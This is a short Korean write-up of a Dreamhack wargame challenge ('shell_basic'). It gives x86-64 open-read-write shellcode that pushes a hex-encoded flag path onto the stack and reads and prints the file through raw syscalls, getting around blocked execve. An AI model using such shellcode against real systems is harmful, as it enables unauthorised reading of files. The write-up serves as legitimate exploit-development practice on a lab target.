1. 문제
https://dreamhack.io/wargame/challenges/410
2. 풀이
1) execve, execveat 시스템 콜을 사용하지 못하도록 해야한다
-> orw 코드를 작성하여 문제 풀이 !!
2) /home/shell_basic/flag_name_is_loooooong를 16진수로 바꾸는 과정 필요
->
2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67
3) 이것을 스택에 PUSH 해보자
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall
4) read(fd, buf, 0x1000)
mov rdi, rax
mov rsi, rsp
sub rsi, 0x1000
mov rdx, 0x1000
mov rax, 0x0
syscall
5) write(1, buf, 0x1000)
mov rdi, 1
mov rax, 0x1
syscall